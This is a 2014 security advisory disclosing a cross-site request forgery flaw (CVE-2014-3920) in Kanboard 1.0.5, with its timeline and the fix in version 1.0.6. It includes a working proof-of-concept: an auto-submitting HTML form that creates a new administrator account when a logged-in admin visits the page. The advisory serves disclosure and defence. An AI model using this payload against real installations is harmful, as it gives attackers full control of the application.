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Cross-Site Request Forgery (CSRF) in Kanboard



Advisory ID: HTB23217
Product: Kanboard
Vendor: http://kanboard.net/
Vulnerable Version(s): 1.0.5 and probably prior
Tested Version: 1.0.5
Advisory Publication:  May 28, 2014  [without technical details]
Vendor Notification: May 28, 2014 
Vendor Patch: June 30, 2014 
Public Disclosure: July 2, 2014 
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
CVE Reference: CVE-2014-3920
Risk Level: Medium 
CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Kanboard, which can be exploited to perform Сross-Site Request Forgery (CSRF) attacks and gain complete control over the vulnerable application.


1. Сross-Site Request Forgery (CSRF) in Kanboard: CVE-2014-3920

The vulnerability exists due to insufficient verification of the HTTP request origin. A remote attacker can trick a logged-in administrator of Kanboard to visit a specially crafted web page with CSRF exploit code and create new account with administrative privileges. 

Simple CSRF exploit below creates new admin account with login "immuniweb" and password "password":


<form action="http://kanboard/?controller=user&action=save"; method="post" name="main">
<input type="hidden" name="username" value="immuniweb">
<input type="hidden" name="name" value="name">
<input type="hidden" name="email" value="mail@xxxxxxxx">
<input type="hidden" name="password" value="password">
<input type="hidden" name="confirmation" value="password">
<input type="hidden" name="default_project_id" value="0">
<input type="hidden" name="is_admin" value="1">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>


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Solution:

Update to Kanboard 1.0.6

More Information:
http://kanboard.net/news

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References:

[1] High-Tech Bridge Advisory HTB23217 - https://www.htbridge.com/advisory/HTB23217 - Сross-Site Request Forgery (CSRF) in Kanboard.
[2] Kanboard - kanboard.net - A simple and open source visual task board
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.